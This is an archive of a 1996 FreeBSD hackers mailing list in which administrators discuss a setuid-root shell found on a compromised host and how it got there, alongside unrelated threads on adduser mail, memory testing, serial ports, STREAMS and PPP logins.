1996 17:11:04 -0700 (PDT) Received: from critter.tfs.com ([140.145.16.108]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA25387; Mon, 24 Jun 1996 17:10:59 -0700 (PDT) Received: from critter.tfs.com (localhost [127.0.0.1]) by critter.tfs.com (8.7.5/8.7.3) with ESMTP id RAA01094; Mon, 24 Jun 1996 17:09:49 -0700 (PDT) To: -Vince- cc: Matthew Jason White , Mark Murray , Wilko Bulte , "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Mon, 24 Jun 1996 16:54:26 PDT." Date: Mon, 24 Jun 1996 17:09:48 -0700 Message-ID: <1092.835661388@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > Yeah, that's the real question is like if he can transfer the >binary from another machine and have it work... other people can do the >same thing and gain access to FreeBSD boxes as root as long as they have >a account on that machine... The binary is an ordinary shell with a setuid bit. -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-hackers Mon Jun 24 17:14:28 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA25573 for hackers-outgoing; Mon, 24 Jun 1996 17:14:28 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA25568; Mon, 24 Jun 1996 17:14:24 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id RAA21505; Mon, 24 Jun 1996 17:14:08 -0700 (PDT) Date: Mon, 24 Jun 1996 17:14:07 -0700 (PDT) From: -Vince- To: Poul-Henning Kamp cc: Matthew Jason White , Mark Murray , Wilko Bulte , "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <1092.835661388@critter.tfs.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, Poul-Henning Kamp wrote: > > Yeah, that's the real question is like if he can transfer the > >binary from another machine and have it work... other people can do the > >same thing and gain access to FreeBSD boxes as root as long as they have > >a account on that machine... > > The binary is an ordinary shell with a setuid bit. Hmmm, how did they get the file into their account with the setuid bit? Vince From owner-freebsd-hackers Mon Jun 24 17:21:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA25963 for hackers-outgoing; Mon, 24 Jun 1996 17:21:04 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA25935; Mon, 24 Jun 1996 17:20:54 -0700 (PDT) Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-2) with ESMTP id BAA27782; Tue, 25 Jun 1996 01:18:48 +0100 (BST) To: -Vince- cc: hackers@FreeBSD.ORG, security@FreeBSD.ORG From: "Gary Palmer" Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Mon, 24 Jun 1996 16:54:26 PDT." Date: Tue, 25 Jun 1996 01:18:45 +0100 Message-ID: <27780.835661925@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk [ CC: Trimmed ] > Yeah, that's the real question is like if he can transfer the > binary from another machine and have it work... other people can do the > same thing and gain access to FreeBSD boxes as root as long as they have > a account on that machine... Sort of. You need root access in the first place to create a suid root shell... It could be an old exploit that is now closed (like the mount_union loophole)... Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Mon Jun 24 17:24:31 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA26207 for hackers-outgoing; Mon, 24 Jun 1996 17:24:31 -0700 (PDT) Received: from xmission.xmission.com (softweyr@xmission.xmission.com [198.60.22.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA26201 for ; Mon, 24 Jun 1996 17:24:30 -0700 (PDT) Received: (from softweyr@localhost) by xmission.xmission.com (8.7.5/8.7.5) id SAA01220; Mon, 24 Jun 1996 18:24:13 -0600 (MDT) From: Barnacle Wes Message-Id: <199606250024.SAA01220@xmission.xmission.com> Subject: Re: I need help on this one - please help me track this guy down! To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 24 Jun 1996 18:24:12 -0600 (MDT) Cc: hackers@freebsd.org In-Reply-To: <8378.835580425@time.cdrom.com> from "Jordan K. Hubbard" at Jun 23, 96 06:40:25 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard opined: > Also, I think that calling the FBI on this one is only likely to get > me put on infinite hold when they hear that the perpetrator is in > Russia. :-) That depends. Is there any controlled, not-for-export encryption software (i.e. "weapons components") on wcarchive? ;^) -- Wes Peters | Yes I am a pirate, two hundred years too late Softweyr | The cannons don't thunder, there's nothing to plunder Consulting | I'm an over forty victim of fate... softweyr@xmission.com | Jimmy Buffett From owner-freebsd-hackers Mon Jun 24 17:26:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA26291 for hackers-outgoing; Mon, 24 Jun 1996 17:26:56 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA26286; Mon, 24 Jun 1996 17:26:54 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id RAA22761; Mon, 24 Jun 1996 17:26:36 -0700 (PDT) Date: Mon, 24 Jun 1996 17:26:35 -0700 (PDT) From: -Vince- To: Matthew Jason White cc: hackers@FreeBSD.org, security@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <0lnmnpy00YUp8Ea2EM@andrew.cmu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, Matthew Jason White wrote: > Excerpts from freebsd-security: 24-Jun-96 Re: I need help on this one.. > by -Vince-@mercury.gaianet. > > Yeah, that's the real question is like if he can transfer the > > binary from another machine and have it work... other people can do the > > same thing and gain access to FreeBSD boxes as root as long as they have > > a account on that machine... > > That shouldn't be possible. FreeBSD wouldn't allow the transfer program > to assign root ownership to a program unless that program is run as > root. The programs typically run on a FreeBSD system as root do not > assign ownership in this way. This guy must've gotten root some other > way and then created the shell so that he could get root again in the > future. Yeah, that's what I'm thinking... Since it seems like there was a problem of running ypwhich to get root on another machine running 2.1R but in -current, it doesn't work. > You probably want to change the security script so that it points out > ALL suid programs in /usr/home, /tmp, /var/tmp and /usr/tmp, or any > other publicly writeable area. Are you running inn1.4 on this system? > If so, you should probably upgrade to inn-1.4uoff4 (this port should > prolly be upgraded, if someone hasn't already). Hmmm, we're not running inn at all... Vince From owner-freebsd-hackers Mon Jun 24 17:29:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA26474 for hackers-outgoing; Mon, 24 Jun 1996 17:29:04 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA26469; Mon, 24 Jun 1996 17:29:00 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id RAA22946; Mon, 24 Jun 1996 17:28:45 -0700 (PDT) Date: Mon, 24 Jun 1996 17:28:45 -0700 (PDT) From: -Vince- To: Gary Palmer cc: hackers@FreeBSD.ORG, security@FreeBSD.ORG, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <27780.835661925@palmer.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Gary Palmer wrote: > [ CC: Trimmed ] > > > Yeah, that's the real question is like if he can transfer the > > binary from another machine and have it work... other people can do the > > same thing and gain access to FreeBSD boxes as root as long as they have > > a account on that machine... > > Sort of. You need root access in the first place to create a suid root > shell... It could be an old exploit that is now closed (like the > mount_union loophole)... Yeah, I was thinking you do need to be root in the first place to do it. I think this guy got a account after ther mount_union loophole since we're running -current and -current did fix the security problems... Vince From owner-freebsd-hackers Mon Jun 24 17:33:21 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA26775 for hackers-outgoing; Mon, 24 Jun 1996 17:33:21 -0700 (PDT) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.eu.org [193.56.58.253]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA26766 for ; Mon, 24 Jun 1996 17:33:16 -0700 (PDT) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.eu.org [193.56.58.33]) by mexico.brainstorm.eu.org (8.7.5/8.7.3) with ESMTP id CAA06811; Tue, 25 Jun 1996 02:32:59 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.6.12/8.6.12) with UUCP id CAA24625; Tue, 25 Jun 1996 02:32:20 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.Alpha.5/keltia-uucp-2.8) id CAA22633; Tue, 25 Jun 1996 02:19:28 +0200 (MET DST) From: Ollivier Robert Message-Id: <199606250019.CAA22633@keltia.freenix.fr> Subject: Re: adduser mail To: wosch@cs.tu-berlin.de Date: Tue, 25 Jun 1996 02:19:28 +0200 (MET DST) Cc: jkh@time.cdrom.com, hackers@FreeBSD.org In-Reply-To: <199606241642.SAA01467@campa.panke.de> from Wolfram Schneider at "Jun 24, 96 06:42:00 pm" X-Operating-System: FreeBSD 2.2-CURRENT ctm#2111 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk It seems that Wolfram Schneider said: > I would rather remove the 'send mail to new user' feature completely. Why ? It is always nice to send a newuser a message, my own program does it too (although it is an option). > This should be done with a mail client (pine, Emacs/VM). Uh ? What's wrong with "open ("|/bin/mail")" or "open ("|sendmail -t")" ? Both are standard and you should not require anything else outside of "base OS". Why did I miss in your sentence ? -- Ollivier ROBERT -=- The daemon is FREE! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 2.2-CURRENT #11: Thu Jun 13 11:01:47 MET DST 1996 From owner-freebsd-hackers Mon Jun 24 17:38:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA27145 for hackers-outgoing; Mon, 24 Jun 1996 17:38:11 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA27138 for ; Mon, 24 Jun 1996 17:38:07 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id KAA24941; Tue, 25 Jun 1996 10:42:40 +0930 From: Michael Smith Message-Id: <199606250112.KAA24941@genesis.atrad.adelaide.edu.au> Subject: Re: Memory tests ... To: hua@xenon.chromatic.com (Ernest Hua) Date: Tue, 25 Jun 1996 10:42:39 +0930 (CST) Cc: dgy@rtd.com, jsigmon@www.hsc.wvu.edu, hackers@freebsd.org, hua@xenon.chromatic.com In-Reply-To: <199606241700.KAA16970@server1.chromatic.com> from "Ernest Hua" at Jun 24, 96 10:00:26 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Ernest Hua stands accused of saying: > > > > Are people looking for *exhaustive* tests, "quick and dirty" tests, > > diagnostic tests, or what? There are different solutions for each > > of these. But I think just the "make world" style tests add very little > > value (tho' prehaps, they are probably easiest to invoke...) > > I would prefer a thorough set of tests such as some reasonably optimized > 1's and 0's test. I'm not familiar with algorithms for testing "flaky" > versus "stuck". The problem is that no program can generate sequential accesses _fast_ enough, and has no way of watching the critical timing parameters that will help you decide _how_ marginal a given memory is. For this you need a _real_ memory tester, and because measuring nanosconds accurately is difficult, thee cost _lots_ of money. So if you just want a 'does it work, yes/no' answer, put the memory into your favorite high-performance OS (I prefer FreeBSD, OS/2 and Novell are also popular), and thrash it mercilessly for a few days. > Ern -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Mon Jun 24 17:51:41 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA28063 for hackers-outgoing; Mon, 24 Jun 1996 17:51:41 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA28038; Mon, 24 Jun 1996 17:51:34 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id KAA25110; Tue, 25 Jun 1996 10:55:44 +0930 From: Michael Smith Message-Id: <199606250125.KAA25110@genesis.atrad.adelaide.edu.au> Subject: Re: I need help on this one - please help me track this guy down! To: mark@grumble.grondar.za.@grondar.za (Mark Murray) Date: Tue, 25 Jun 1996 10:55:43 +0930 (CST) Cc: richardc@CSUA.Berkeley.EDU, mark@grumble.grondar.za, wilko@yedi.iaf.nl, jkh@time.cdrom.com, guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org In-Reply-To: <199606242043.WAA06435@grumble.grondar.za> from "Mark Murray" at Jun 24, 96 10:43:36 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Mark Murray stands accused of saying: > > > > -rwsr-xr-x 1 root users 278528 Jun 18 04:01 root is from the dir > ^ > | This is a setuid prog. The program is owned by root, and is > SETUID, therefore it will run as if it were root. It is > probably a shell (bash, sh, csh) renamed to root and setuid. > "chmod 755 root" will cut it down to size. lovely:~>ls -l /bin/sh -r-xr-xr-x 1 bin bin 278528 Jun 19 20:34 /bin/sh The question is, of course, what a setuid-root copy of /bin/sh is doing in this user's home directory. Have you fixed the 'modload' hole on this system yet? > Mark Murray -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Mon Jun 24 18:08:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA28883 for hackers-outgoing; Mon, 24 Jun 1996 18:08:51 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA28877; Mon, 24 Jun 1996 18:08:47 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id SAA26787; Mon, 24 Jun 1996 18:07:01 -0700 (PDT) Date: Mon, 24 Jun 1996 18:07:00 -0700 (PDT) From: -Vince- To: Michael Smith cc: mark@grumble.grondar.za, wilko@yedi.iaf.nl, jkh@time.cdrom.com, guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org, jbhunt , Chad Shackley Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606250125.KAA25110@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Michael Smith wrote: > Mark Murray stands accused of saying: > > > > > > -rwsr-xr-x 1 root users 278528 Jun 18 04:01 root is from the dir > > ^ > > | This is a setuid prog. The program is owned by root, and is > > SETUID, therefore it will run as if it were root. It is > > probably a shell (bash, sh, csh) renamed to root and setuid. > > "chmod 755 root" will cut it down to size. > > lovely:~>ls -l /bin/sh > -r-xr-xr-x 1 bin bin 278528 Jun 19 20:34 /bin/sh > > The question is, of course, what a setuid-root copy of /bin/sh is doing > in this user's home directory. Have you fixed the 'modload' hole on this > system yet? Yeah, the modload hole was fixed a long time ago as well as the man hole... Getting /bin/sh with setuid-root is the really strange part.. Vince From owner-freebsd-hackers Mon Jun 24 18:13:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA29508 for hackers-outgoing; Mon, 24 Jun 1996 18:13:51 -0700 (PDT) Received: from wong.rogerswave.ca (a17b32.rogerswave.ca [204.92.17.32]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA29496 for ; Mon, 24 Jun 1996 18:13:47 -0700 (PDT) Received: (from wong@localhost) by wong.rogerswave.ca (8.7.5/8.7.3) id RAA00454; Mon, 24 Jun 1996 17:12:33 -0400 (EDT) Date: Mon, 24 Jun 1996 17:12:33 -0400 (EDT) From: Ken Wong To: Wilko Bulte cc: FreeBSD hackers list , revr@cadre.nl Subject: Re: HELP: serial port grief on Asus P55TP4N In-Reply-To: <199606221521.RAA02772@yedi.iaf.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 22 Jun 1996, Wilko Bulte wrote: > The relation with X running seems to indicate some kind of a hardware > conflict. Note that this is a brandnew ATI VGA, he needed the latest > Xfree server to make it tick. > change the IO address of the Mach 64 vga card to 0x4e00 fixed my problem. From owner-freebsd-hackers Mon Jun 24 19:23:39 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA11773 for hackers-outgoing; Mon, 24 Jun 1996 19:23:39 -0700 (PDT) Received: from Fieber-John.campusview.indiana.edu (Fieber-John.campusview.indiana.edu [149.159.1.34]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA11744; Mon, 24 Jun 1996 19:23:30 -0700 (PDT) Received: from localhost (jfieber@localhost) by Fieber-John.campusview.indiana.edu (8.7.5/8.7.3) with SMTP id VAA09686; Mon, 24 Jun 1996 21:22:55 -0500 (EST) X-Authentication-Warning: Fieber-John.campusview.indiana.edu: jfieber owned process doing -bs Date: Mon, 24 Jun 1996 21:22:55 -0500 (EST) From: John Fieber X-Sender: jfieber@Fieber-John.campusview.indiana.edu To: -Vince- cc: "Jordan K. Hubbard" , Mark Murray , Wilko Bulte , guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, -Vince- wrote: > Good one Jordan :-) But the thing is how did he get that binary there > in the first place since if he can do that here, then he can do that on any > machine that he doesn't have group wheel on to gain root access... I'll Um, have people forgotten about the nifty little mount trick that used to be a FreeBSD feature? You would only need to use it once to install your root command. -john == jfieber@indiana.edu =========================================== == http://fallout.campusview.indiana.edu/~jfieber ================ From owner-freebsd-hackers Mon Jun 24 19:42:18 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA14385 for hackers-outgoing; Mon, 24 Jun 1996 19:42:18 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA14355; Mon, 24 Jun 1996 19:42:09 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id TAA07514; Mon, 24 Jun 1996 19:41:43 -0700 (PDT) Date: Mon, 24 Jun 1996 19:41:43 -0700 (PDT) From: -Vince- To: John Fieber cc: hackers@FreeBSD.org, security@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, John Fieber wrote: > On Mon, 24 Jun 1996, -Vince- wrote: > > > Good one Jordan :-) But the thing is how did he get that binary there > > in the first place since if he can do that here, then he can do that on any > > machine that he doesn't have group wheel on to gain root access... I'll > > Um, have people forgotten about the nifty little mount trick that > used to be a FreeBSD feature? You would only need to use it once > to install your root command. Nah, that isn't it since we're running -current and I fixed that problem when it was announced..... both the man and the mount_union hole... Vince From owner-freebsd-hackers Mon Jun 24 19:49:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA15845 for hackers-outgoing; Mon, 24 Jun 1996 19:49:06 -0700 (PDT) Received: from einstein.technet.sg (ngps@einstein.technet.sg [192.169.33.50]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA15819; Mon, 24 Jun 1996 19:49:00 -0700 (PDT) Received: (from ngps@localhost) by einstein.technet.sg (8.7.3/8.6.9) id KAA20559; Tue, 25 Jun 1996 10:48:41 +0800 (SST) Date: Tue, 25 Jun 1996 10:48:40 +0800 (SST) From: Ng Pheng Siong To: -Vince- cc: John Fieber , hackers@FreeBSD.ORG, security@FreeBSD.ORG, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, -Vince- wrote: > Nah, that isn't it since we're running -current and I fixed that > problem when it was announced..... both the man and the mount_union hole... I suppose you've walked your filesystems for setuid programs? - PS -- Ng Pheng Siong * Finger for PGP key. Pacific Internet Pte Ltd * Singapore Fast, secure, cheap. Pick two. From owner-freebsd-hackers Mon Jun 24 19:50:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA16046 for hackers-outgoing; Mon, 24 Jun 1996 19:50:00 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA16028; Mon, 24 Jun 1996 19:49:55 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id TAA08365; Mon, 24 Jun 1996 19:49:30 -0700 (PDT) Date: Mon, 24 Jun 1996 19:49:30 -0700 (PDT) From: -Vince- To: Ng Pheng Siong cc: John Fieber , hackers@FreeBSD.ORG, security@FreeBSD.ORG, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Ng Pheng Siong wrote: > On Mon, 24 Jun 1996, -Vince- wrote: > > Nah, that isn't it since we're running -current and I fixed that > > problem when it was announced..... both the man and the mount_union hole... > > I suppose you've walked your filesystems for setuid programs? Yep... did that... Vince From owner-freebsd-hackers Mon Jun 24 20:26:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA22367 for hackers-outgoing; Mon, 24 Jun 1996 20:26:07 -0700 (PDT) Received: from mailhost.coppe.ufrj.br (root@cisigw.coppe.ufrj.br [146.164.2.31]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA22344; Mon, 24 Jun 1996 20:26:01 -0700 (PDT) Received: (from jonny@localhost) by mailhost.coppe.ufrj.br (8.7.5/8.7.3) id AAA19362; Tue, 25 Jun 1996 00:25:53 -0300 (EST) From: Joao Carlos Mendes Luis Message-Id: <199606250325.AAA19362@mailhost.coppe.ufrj.br> Subject: Re: STREAMS To: sterrett@cts.com (Tony Sterrett) Date: Tue, 25 Jun 1996 00:25:53 -0300 (EST) Cc: questions@freebsd.org, freebsd-hackers@freebsd.org In-Reply-To: <31CF263D.44EA@cts.com> from Tony Sterrett at "Jun 24, 96 04:35:25 pm" X-Mailer: ELM [version 2.4ME+ PL14 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk #define quoting(Tony Sterrett) // Hello. // I know this question is in bad taste but, is their anybody working on SYS V like STREAMS in the BSD world. // I'm a BSD programmer, however I like the STREAMS model. // Please reply to sterrett@cts.com // Cheers, // Tony If someone starts working on this, please tell me. I'd like to help, but I don't have time or experience enough to manage such a project. I took a look at linux streams implementation and that is completely out-performing. We could do really better if there was critical mass enough to start this project. BTW: Let's not talk about performance or ideology. Such e-mails will be ignored. I'm not proposing the use of STREAMS as the *BSD core network framework, but just that it could be available for others designers. Jonny -- Joao Carlos Mendes Luis jonny@gta.ufrj.br +55 21 290-4698 ( Job ) jonny@cisi.coppe.ufrj.br Network Manager UFRJ/COPPE/CISI Universidade Federal do Rio de Janeiro From owner-freebsd-hackers Mon Jun 24 21:18:28 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA05440 for hackers-outgoing; Mon, 24 Jun 1996 21:18:28 -0700 (PDT) Received: from al.imforei.apana.org.au (al.imforei.apana.org.au [202.12.89.41]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA05423 for ; Mon, 24 Jun 1996 21:18:23 -0700 (PDT) Received: (from pjchilds@localhost) by al.imforei.apana.org.au (8.7.5/8.7.3) id NAA23748; Tue, 25 Jun 1996 13:48:10 +0930 (CST) Date: Tue, 25 Jun 1996 13:48:10 +0930 (CST) From: Peter Childs Message-Id: <199606250418.NAA23748@al.imforei.apana.org.au> To: jgreco@brasil.moneng.mei.com, freebsd-hackers@freebsd.org, pjchilds@al.imforei.apana.org.au Subject: Re: Automatic PPP-detecting getty and pppd!!! X-Newsreader: TIN [version 1.2 PL2] Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk : > > Do they modify pppd to correctly log users in, do they handle it as a new : > > gettytab capability, etc? : Looks to me like it is a bit of a hack that uses a pseudo-user to log the : user in via login(1) ... there is some merit to that but I am not sure I : care for the solution, beyond the fact that it also works. The system we are using here is the beta mgetty-99-May31 with AUTO_PPP defined, which passes off to a user-ppp that we have modified so it _must_ authenticate with pap, and we changed the pap routing to only allow users where the first letter of the name is 'P' (thats all our PPP user), and then it checks for a vaild username/password from the password file (rather than ppp.secret stuff..) The changes to /usr/src/usr.sbin/ppp are pretty obvious (just change the auth stuff in pap.c), and you have to add some stuff to log 'em in, and change some of the suid/guid code too... Works a treat for Win95 users, no extra crap required :) Peter -- Peter Childs --- http://www.imforei.apana.org.au/~pjchilds The internet is full, please try again in half an hour... From owner-freebsd-hackers Mon Jun 24 22:25:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA15427 for hackers-outgoing; Mon, 24 Jun 1996 22:25:06 -0700 (PDT) Received: from bessel.nando.net (praj@bessel.nando.net [152.52.2.130]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id WAA15422 for ; Mon, 24 Jun 1996 22:25:04 -0700 (PDT) Received: (from praj@localhost) by bessel.nando.net (8.7.1/8.7.1) id BAA19492 for hackers@freebsd.org; Tue, 25 Jun 1996 01:24:59 -0400 (EDT) From: praj Message-Id: <199606250524.BAA19492@bessel.nando.net> Subject: Re: STREAMS (fwd) To: hackers@freebsd.org Date: Tue, 25 Jun 1996 01:24:58 -0400 (EDT) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > If someone starts working on this, please tell me. I'd like to help, > but I don't have time or experience enough to manage such a project. > > I took a look at linux streams implementation and that is completely > out-performing. We could do really better if there was critical mass > enough to start this project. > If there is a search for critical mass, then count me as part of the critical 